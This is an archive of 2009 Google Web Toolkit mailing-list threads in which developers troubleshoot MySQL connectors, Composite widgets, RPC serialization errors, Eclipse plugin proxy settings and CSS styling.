You saved my life, the weeks I'm trying to solve this problem. On 13 abr, 08:46, martin hotston...@googlemail.com wrote: Ok, I solved the problem ;-) Go to the project's properties and uncheck Use Google App Engine. Additionally, as vitali mentioned, the mysql-connector jar has to be in the war/WEB-INF/lib directory. Cheers, Martin. On Apr 12, 3:16 pm, IvanRdz ivan.rd...@gmail.com wrote: I have the same problem and I am sure it´s due to Jetty and security settings as you have mentioned. Are you using google plugin? On Apr 11, 7:59 pm, martin hotston...@googlemail.com wrote: Ok, I am still stuck :-( Anybody got Mysql working with GWT 1.6.4? It worked fine for GWT 1.5 for me, but something seems to have changed with GWT 1.6.4. Maybe it is due to Jetty and security settings, since I get a java.security.AccessControlException... All I did was to add the / usr/share/java/mysql-connector-java-5.1.6.jar to the referenced libraries. Please help me out! Thanks, Martin.- Ocultar texto das mensagens anteriores - - Mostrar texto das mensagens anteriores - --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
sure Jeff: public class PanelWidget extends Composite { private FlowPanel div; public PanelWidget(){ super(); div = new FlowPanel(); initWidget(div); } public void add(Widget widget){ div.add(widget); } } On Thu, May 21, 2009 at 6:00 PM, Jeff Chimene jchim...@gmail.com wrote: On 05/21/2009 09:22 AM, alan m wrote: Hi, I see how Composite is useful in theory for custom widgets, to wrap rather than extend specific widgets prevent exposing all their methods; but I have found that Composite itself has a LOT of methods exposed, particularly the UIObject position/dimension/etc setters which I had wanted hidden in the first place! It defeats the purpose of using it for me - to provide component/view developers with my widgets that have only my methods exposed (only mine - bwa-ha-ha-ha!). Am I missing something here? At first glance, yes. Can you post a short sample code snippet? You should be writing something like: public class MyWidget extends Composite {} --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
You are creating a composite widget which is going to be a UIObject so it has UIObject methods. But if you make a composite with three labels, then you probably don't want (and it wouldn't be easy) to expose the setText method for all three. Ian http://examples.roughian.com 2009/5/21 alan m alan.jame...@gmail.com Hi, I see how Composite is useful in theory for custom widgets, to wrap rather than extend specific widgets prevent exposing all their methods; but I have found that Composite itself has a LOT of methods exposed, particularly the UIObject position/dimension/etc setters which I had wanted hidden in the first place! It defeats the purpose of using it for me - to provide component/view developers with my widgets that have only my methods exposed (only mine - bwa-ha-ha-ha!). Am I missing something here? Is there any better way of blocking all these Composite methods other than kludgy myWidget @Override? Thanks, Alan --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
On 05/21/2009 10:09 AM, alan m wrote: sure Jeff: Hi, I'd misjudged your question, hence withdrawn my answer. public class PanelWidget extends Composite { private FlowPanel div; public PanelWidget(){ super(); div = new FlowPanel(); initWidget(div); } public void add(Widget widget){ div.add(widget); } } On Thu, May 21, 2009 at 6:00 PM, Jeff Chimenejchim...@gmail.com wrote: On 05/21/2009 09:22 AM, alan m wrote: Hi, I see how Composite is useful in theory for custom widgets, to wrap rather than extend specific widgets �prevent exposing all their methods; but I have found that Composite itself has a LOT of methods exposed, particularly the UIObject position/dimension/etc setters which I had wanted hidden in the first place! It defeats the purpose of using it for me - to provide component/view developers with my widgets that have only my methods exposed (only mine - bwa-ha-ha-ha!). Am I missing something here? At first glance, yes. Can you post a short sample code snippet? You should be writing something like: public class MyWidget extends Composite {} --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
So... Is there any better way of blocking all these Composite methods other than kludgy myWidget @Override? On Thu, May 21, 2009 at 6:23 PM, Ian Bambury ianbamb...@gmail.com wrote: You are creating a composite widget which is going to be a UIObject so it has UIObject methods. But if you make a composite with three labels, then you probably don't want (and it wouldn't be easy) to expose the setText method for all three. Ian http://examples.roughian.com 2009/5/21 alan m alan.jame...@gmail.com Hi, I see how Composite is useful in theory for custom widgets, to wrap rather than extend specific widgets prevent exposing all their methods; but I have found that Composite itself has a LOT of methods exposed, particularly the UIObject position/dimension/etc setters which I had wanted hidden in the first place! It defeats the purpose of using it for me - to provide component/view developers with my widgets that have only my methods exposed (only mine - bwa-ha-ha-ha!). Am I missing something here? Is there any better way of blocking all these Composite methods other than kludgy myWidget @Override? Thanks, Alan --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
There is, by extending Widget, but it means more work and understanding the way GWT works. Do you have a reason for stopping certain UIObject methods being used or are you just a control freak :-) Generally speaking, those methods are there to allow your users to use the widget you create more flexibly. Is there a reason why you don't want them to know its height or set its style name? If you have a use case, there may be another way around the problem. Ian http://examples.roughian.com 2009/5/21 alan m alan.jame...@gmail.com So... Is there any better way of blocking all these Composite methods other than kludgy myWidget @Override? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Client-side OSGi-like modules for GWT?
I'm currently thinking about moving my Eclipse-based application completely to GWT. For that to work, though, I would need OSGi-like modules so that one can plug in code. Server-side that is no problem, I can use OSGi. Client-side, it becomes more difficult: I don't see a way for a plug-in to hand (separately compiled) code to the framework. Can this be done? If not, will it be possible in the future? Thanks! Axel (I am posting this via my brother's account, because, months ago, some kind of automatic trigger has completely banned me from Google Groups without any way of fixing it.) --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Can not run in host mode
Create new project using GWT plug in Project Name: HelloWorld package: com.test check Using Google Web Toolkit didn't do any change after the project created. run Error Page display HTTP ERROR: 503 SERVICE_UNAVAILABLE RequestURI=/HelloWorld.html and saw those message: [WARN] EXCEPTION java.lang.ClassNotFoundException: com.test.server.GreetingServiceImpl at java.lang.ClassLoader.findClass(ClassLoader.java:358) at java.lang.ClassLoader.loadClass(ClassLoader.java:306) at java.lang.ClassLoader.loadClass(ClassLoader.java:251)... [WARN] failed greetServlet javax.servlet.UnavailableException: com.test.server.GreetingServiceImpl at org.mortbay.jetty.servlet.Holder.doStart(Holder.java:79) at org.mortbay.jetty.servlet.ServletHolder.doStart(ServletHolder.java: 233) at org.mortbay.component.AbstractLifeCycle.start (AbstractLifeCycle.java:39) at org.mortbay.jetty.servlet.ServletHandler.initialize (ServletHandler.java:616)... [WARN] Failed startup of context com.google.gwt.dev.shell.jetty.JettyLauncher $webappcontextwithrel...@14beb40{/,E:\Eclipse3_4\JavaProject\HelloWorld \war} javax.servlet.UnavailableException: com.test.server.GreetingServiceImpl at org.mortbay.jetty.servlet.Holder.doStart(Holder.java:79) at org.mortbay.jetty.servlet.ServletHolder.doStart(ServletHolder.java: 233) at org.mortbay.component.AbstractLifeCycle.start (AbstractLifeCycle.java:39) what's the problem Eclipse 3.4 JDK 1.5 --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Serialization problem
Hello I have class StringValue which extends abstract class AttributeValue. I call some method on server side, which should return instance of this class. When the method tries to return value the folowing error happens: SEVERE: Exception while dispatching incoming RPC call com.google.gwt.user.client.rpc.SerializationException: java.lang.reflect.InvocationTargetException at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeWithCustomSerializer (ServerSerializationStreamWriter.java:686) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeImpl (ServerSerializationStreamWriter.java:649) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serialize (ServerSerializationStreamWriter.java:583) at com.google.gwt.user.client.rpc.impl.AbstractSerializationStreamWriter.writeObject (AbstractSerializationStreamWriter.java:129) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter $ValueWriter$8.write(ServerSerializationStreamWriter.java:146) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeValue (ServerSerializationStreamWriter.java:520) at com.google.gwt.user.server.rpc.RPC.encodeResponse(RPC.java: 573) at com.google.gwt.user.server.rpc.RPC.encodeResponseForSuccess (RPC.java:441) at com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse (RPC.java:529) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall (RemoteServiceServlet.java:164) at com.google.gwt.user.server.rpc.RemoteServiceServlet.doPost (RemoteServiceServlet.java:86) at javax.servlet.http.HttpServlet.service(HttpServlet.java: 710) at javax.servlet.http.HttpServlet.service(HttpServlet.java: 803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter (ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter (ApplicationFilterChain.java:206) at org.netbeans.modules.web.monitor.server.MonitorFilter.doFilter (MonitorFilter.java:390) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter (ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter (ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke (StandardWrapperValve.java:233) at org.apache.catalina.core.StandardContextValve.invoke (StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke (StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke (ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke (StandardEngineValve.java:109) at org.apache.catalina.connector.CoyoteAdapter.service (CoyoteAdapter.java:286) at org.apache.coyote.http11.Http11Processor.process (Http11Processor.java:844) at org.apache.coyote.http11.Http11Protocol $Http11ConnectionHandler.process(Http11Protocol.java:583) at org.apache.tomcat.util.net.JIoEndpoint$Worker.run (JIoEndpoint.java:447) at java.lang.Thread.run(Thread.java:619) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.GeneratedMethodAccessor28.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeWithCustomSerializer (ServerSerializationStreamWriter.java:668) ... 27 more Caused by: com.google.gwt.user.client.rpc.SerializationException: Type 'com.biosearch.client.database.attributeValues.StringValue' was not included in the set of types which can be serialized by this SerializationPolicy or its Class object could not be loaded. For security purposes, this type will not be serialized. at com.google.gwt.user.server.rpc.impl.StandardSerializationPolicy.validateSerialize (StandardSerializationPolicy.java:83) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serialize (ServerSerializationStreamWriter.java:581) at com.google.gwt.user.client.rpc.impl.AbstractSerializationStreamWriter.writeObject (AbstractSerializationStreamWriter.java:129) at com.google.gwt.user.client.rpc.core.java.util.Collection_CustomFieldSerializerBase.serialize (Collection_CustomFieldSerializerBase.java:43) at com.google.gwt.user.client.rpc.core.java.util.Vector_CustomFieldSerializer.serialize (Vector_CustomFieldSerializer.java:36) ... 31 more Both classes implement Serializable and have default constructor. Here is the code: public abstract class AttributeValue implements Serializable { private String datasource; public AttributeValue() { } public abstract Object getValue(); public String getDatasource() {
Re: Can not debug in Eclipse
I created a lauch configuration manually and then imported it into Eclipse. Debugging is now working. Thanks --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
Yes, I'm a control freak! ;-) But also my brief is to provide a widget library with my (well, the client's) class names etc. and 100% css layout and style, and prevent individual developers to use gwt's setters (getters are less important) and diverge from the required styles - consistency is paramount. You mention that I could extend Widget rather than Composite? But Widget also extends UIObject... maybe I should just extend Object.. and write my own API/toolkit ;-) But I would be interested in hearing more on this. Regards, Alan On Thu, May 21, 2009 at 6:46 PM, Ian Bambury ianbamb...@gmail.com wrote: There is, by extending Widget, but it means more work and understanding the way GWT works. Do you have a reason for stopping certain UIObject methods being used or are you just a control freak :-) Generally speaking, those methods are there to allow your users to use the widget you create more flexibly. Is there a reason why you don't want them to know its height or set its style name? If you have a use case, there may be another way around the problem. Ian http://examples.roughian.com 2009/5/21 alan m alan.jame...@gmail.com So... Is there any better way of blocking all these Composite methods other than kludgy myWidget @Override? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Hibernate4Gwt inherited issue
Hi, First, this issue is not related to Hibernate4GWT, but is a simple GWT issue (your gwt.xml file may be misplaced). Furthermore, the Hibernate4GWT library has been renamed and keeps on evolving as Gilead (http://gilead.sourceforge.net). Regards Bruno On 21 mai, 17:33, SunilBansal sunil.ban...@daffodildb.com wrote: Hi All, Can anybody give me an idea how can i resolve this issue. On May 21, 6:52 pm, Sanj sunil.ban...@daffodildb.com wrote: Hi All, I am new toHibernate4GWT. I try to implement in my module and follow the same instruction as given in theHibernate4GWTtest case. According to that one, i creates my BDO's in com.test.modulename.bdo package and imported in the client or widgets. But i am facing some issue i.e. [ERROR] Line 16: No source code is available for type com.test.modulename.bdo.ABC; did you forget to inherit a required module? While i also included the source path in the gwt.xml file as :- source path='bdo'/ source path='client'/ Then also not able to resolve that issue. Please give me solution on that issue. Regards, Sunil. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
Sorry - I was going from memory and got the widget thing wrong. :-( You'd have to go back to real basics to get around that. Or tell your client to get developers they can trust to do as they are told ;-) Is your client absolutely sure that their untrustworthy, pig-headed, anarchic, f***-you-mentality programmers will *never* need to set a width to, say, 100%? Setting absolutely everything in css will really complicate the css under some circumstances. There are some settings which really should be set in code (like setting the cell width to 100% in a HorizontalPanel) because they are necessary in building other widgets and all-but-impossible in css and/or will break if Google change that widget's structure Ian http://examples.roughian.com --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: how to install gwt in ubuntu
If you're an Eclipse user, I'd suggest going the Google Plugin for Eclipse route: install Eclipse via the package manager (e.g., synaptics for a UI, or apt-get for command-line), and then install the Google Plugin for Eclipse via http://code.google.com/eclipse/docs/getting_started.html (which will pull in the GWT SDK). jason On Thu, May 21, 2009 at 3:35 AM, vetal vitaly.parfo...@gmail.com wrote: Hi, unpack http://google-web-toolkit.googlecode.com/files/gwt-linux-1.6.4.tar.bz2 and set GWT_HOME ( export GWT_HOME=/home/youname/gwt/gwt- linux-1.6.4) On May 21, 9:19 am, javatiger vijayabaskar1...@gmail.com wrote: i am newbee in ubuntu.. i already installed and worked gwt in windows now am trying to work in ubuntu.. so help to solve this solution.. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Serialization problem
You can not use Object in VectorObject for GWT client code. You may try to use VectorSerializable Jim http://www.gwtorm.com - GWT ORM http://code.google.com/p/dreamsource-orm/ On May 21, 6:05 am, Yulia yuli...@gmail.com wrote: Hello I have class StringValue which extends abstract class AttributeValue. I call some method on server side, which should return instance of this class. When the method tries to return value the folowing error happens: SEVERE: Exception while dispatching incoming RPC call com.google.gwt.user.client.rpc.SerializationException: java.lang.reflect.InvocationTargetException at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeWithCustomSerializer (ServerSerializationStreamWriter.java:686) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeImpl (ServerSerializationStreamWriter.java:649) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serialize (ServerSerializationStreamWriter.java:583) at com.google.gwt.user.client.rpc.impl.AbstractSerializationStreamWriter.writeObject (AbstractSerializationStreamWriter.java:129) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter $ValueWriter$8.write(ServerSerializationStreamWriter.java:146) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeValue (ServerSerializationStreamWriter.java:520) at com.google.gwt.user.server.rpc.RPC.encodeResponse(RPC.java: 573) at com.google.gwt.user.server.rpc.RPC.encodeResponseForSuccess (RPC.java:441) at com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse (RPC.java:529) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall (RemoteServiceServlet.java:164) at com.google.gwt.user.server.rpc.RemoteServiceServlet.doPost (RemoteServiceServlet.java:86) at javax.servlet.http.HttpServlet.service(HttpServlet.java: 710) at javax.servlet.http.HttpServlet.service(HttpServlet.java: 803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter (ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter (ApplicationFilterChain.java:206) at org.netbeans.modules.web.monitor.server.MonitorFilter.doFilter (MonitorFilter.java:390) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter (ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter (ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke (StandardWrapperValve.java:233) at org.apache.catalina.core.StandardContextValve.invoke (StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke (StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke (ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke (StandardEngineValve.java:109) at org.apache.catalina.connector.CoyoteAdapter.service (CoyoteAdapter.java:286) at org.apache.coyote.http11.Http11Processor.process (Http11Processor.java:844) at org.apache.coyote.http11.Http11Protocol $Http11ConnectionHandler.process(Http11Protocol.java:583) at org.apache.tomcat.util.net.JIoEndpoint$Worker.run (JIoEndpoint.java:447) at java.lang.Thread.run(Thread.java:619) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.GeneratedMethodAccessor28.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serializeWithCustomSerializer (ServerSerializationStreamWriter.java:668) ... 27 more Caused by: com.google.gwt.user.client.rpc.SerializationException: Type 'com.biosearch.client.database.attributeValues.StringValue' was not included in the set of types which can be serialized by this SerializationPolicy or its Class object could not be loaded. For security purposes, this type will not be serialized. at com.google.gwt.user.server.rpc.impl.StandardSerializationPolicy.validateSerialize (StandardSerializationPolicy.java:83) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serialize (ServerSerializationStreamWriter.java:581) at com.google.gwt.user.client.rpc.impl.AbstractSerializationStreamWriter.writeObject (AbstractSerializationStreamWriter.java:129) at com.google.gwt.user.client.rpc.core.java.util.Collection_CustomFieldSerializerBase.serialize (Collection_CustomFieldSerializerBase.java:43) at com.google.gwt.user.client.rpc.core.java.util.Vector_CustomFieldSerializer.serialize
Re: Eclipse Plugin Compile Button Stack Overflow
Hi, With regard to the proxy issue, I'll have to do some experimentation locally to see if there is actually a way to pass the username and password for an authentication-requiring proxy via the command line. I'll post back on this thread with my results shortly. Thanks, Rajeev 2009/5/21 Miguel Méndez mmen...@google.com Let's split this issue into two. First, you want to be able to configure the proxy settings. I'll have one of our guys who knows the proxy issues pretty well follow up on this thread. Second, the compile button is not working? Could you provide more details as to how it fails? Is there a stack trace? On Thu, May 21, 2009 at 10:05 AM, louatia...@hotmail.com louatia...@gmail.com wrote: I still need to know how to configure, command line proxy settings !!! once again the new release of the plugin does not offer any solution to my problem the compile button is still not compiling even if I specify -Xss8m where as it worked and compile successfully from hosted mode with the same lower stack parameter (just -Xss1024k) On 21 mai, 13:25, louatia...@hotmail.com louatia...@gmail.com wrote: concerning the second case , it was a type mistake my proxy requires authentiification and that's whay I mentionned the second case -Dhttp.proxyUser=me -Dhttp.proxyPassword=me_crypted instead of proxyHost when adding these two params I got my self in the second case , concerning your question for eclipse setting , I configured eclipse to use the proxy with the same , for every body this is a tip that may help , I changed the VM type in jvm.cfg as -server (jvm ) that was helpful for some cases but not all the time coz I still have stack overflow problems with bigger project ( IE: if the code source of the project stay the same and I just include more image ressources to the war directory the I got into StackOverflow) -- Miguel --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Data binding frameworks and overlay types
Hi ziglionz, The ability to cast an overlay type to an interface like Binding would require the interface itself to also be an overlay type (via the JavaScriptObject.cast() method call). Since the interface itself isn't an overlay type, and a custom overlay type can't implement it because it does indeed require an implementation for methods declared in the interface, perhaps you should consider the approach below. You can define a wrapping class over the overlay type that can implement the Binding interface. The delegation to the overlay type does incur some indirection in code, but in the compiled result, there shouldn't be any overhead to pay since the compiler will inline the calls. Hope that helps, -Sumit Chandel On Mon, May 18, 2009 at 6:33 PM, ziglionz zigli...@gmail.com wrote: Hi, I've been looking for a databinding framework for GWT and the two most active ones appear to be the Gwittir and the UFacekit projects. My question is: can they work at all with overlay types? I suspect no, due to the limitations of JavaScriptObject http://code.google.com/p/google-web-toolkit/wiki/OverlayTypes One of those limitations is: overlay types cannot implement interfaces that define methods. That prevent overlay types from implementing the Bindable interface, that is required for Gwittir. But one can always add methods to an overlay type without explicitely implementing an interface. I wonder if the compiler would allow us to circumvent the above limitation by forcing a casting of an overlay type to (Binding)... --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Serialization problem
I didn't try VectorSerializable, don't know if it works. I decide to make a class with fields for data I want to return instead of using VectorObject. Now it works. Thank you! --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Eclipse Plugin Compile Button Stack Overflow
Hi, Unfortunately, there is no way to set authentication parameters for proxy servers on the command line. The settings http[s].proxyUser and http[s].proxyPassword do not work. They're actually an urban legend - these properties were never respected by Sun's JDK. The reason why the proxy works in Eclipse is because at some point it probably prompted you for your authentication credentials after you hit Deploy. Once you enter them once, the credentials are saved and re-used by the JDK. I'll file a bug for this issue. The ideal solution would be for the user to be able to pass in the proxy username and proxy passwords as command-line args to appcfg. There is a potential workaround, but it is pretty ugly. What you would need to do is write a new main class, and in that main class, you would register a default Authenticatorhttp://java.sun.com/j2se/1.5.0/docs/api/java/net/Authenticator.htmlwith your proxy username and password. Then, you would call AppCfg.main, passing as args the same exact args that were passed in to your main class. Of course, you'd then modify the appcfg script to invoke your class instead of AppCfg. As an FYI, if you want to set the http[s] proxy server and port, you can now do this via the command line if you're using version 1.2.1 of the App Engine SDK - you'll no longer need to edit the appcfg script and add -Dhttp[s].proxy... Run the appcfg script with the -h option for more information on the proxy options. Rajeev On Thu, May 21, 2009 at 5:18 PM, Rajeev Dayal rda...@google.com wrote: Hi, With regard to the proxy issue, I'll have to do some experimentation locally to see if there is actually a way to pass the username and password for an authentication-requiring proxy via the command line. I'll post back on this thread with my results shortly. Thanks, Rajeev 2009/5/21 Miguel Méndez mmen...@google.com Let's split this issue into two. First, you want to be able to configure the proxy settings. I'll have one of our guys who knows the proxy issues pretty well follow up on this thread. Second, the compile button is not working? Could you provide more details as to how it fails? Is there a stack trace? On Thu, May 21, 2009 at 10:05 AM, louatia...@hotmail.com louatia...@gmail.com wrote: I still need to know how to configure, command line proxy settings !!! once again the new release of the plugin does not offer any solution to my problem the compile button is still not compiling even if I specify -Xss8m where as it worked and compile successfully from hosted mode with the same lower stack parameter (just -Xss1024k) On 21 mai, 13:25, louatia...@hotmail.com louatia...@gmail.com wrote: concerning the second case , it was a type mistake my proxy requires authentiification and that's whay I mentionned the second case -Dhttp.proxyUser=me -Dhttp.proxyPassword=me_crypted instead of proxyHost when adding these two params I got my self in the second case , concerning your question for eclipse setting , I configured eclipse to use the proxy with the same , for every body this is a tip that may help , I changed the VM type in jvm.cfg as -server (jvm ) that was helpful for some cases but not all the time coz I still have stack overflow problems with bigger project ( IE: if the code source of the project stay the same and I just include more image ressources to the war directory the I got into StackOverflow) -- Miguel --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
getStylePrimaryName() problem?
I am trying to change the background color of a tree item by adding a dependent style name. However, when I called treeItem.addStyleDependentName(newStyleName), nothing happened. I look at the docs, and found out that addStyleDependentName calls addStyleName(getStylePrimaryName() + - + newStyleName). So I manually coded this, and still the new style was not applied. I did a little tinkering, and discovered that getStylePrimaryName() was returning an empty string, instead of gwt-TreeItem as the primary style name. A simplified version of my code is below: //JAVA CODE Tree tree = new Tree(); TreeItem treeItem = new TreeItem(I'm a TreeItem!); String style = treeItem.getStylePrimaryName() + blue; Window.alert(style); treeItem.addStyleName(style); tree.addItem(treeItem); //CSS CODE .gwt-TreeItem{ color: red; } .gwt-TreeItem-blue{ background-color: blue; } Somebody know how to fix this? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
IE6 PNG transparency fixes for CSS images
I can't seem to get any of the IE6 PNG transparency fixes (SuperSleight, unitpngfix, http://www.komodomedia.com/blog/2007/11/css-png-image-fix-for-ie/) working in my GWT app. (Note that my PNGs are specified in my CSS, so solutions like PNGImage won't help.) Has anyone gotten any of these working? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Tomcat and GWT 1.6
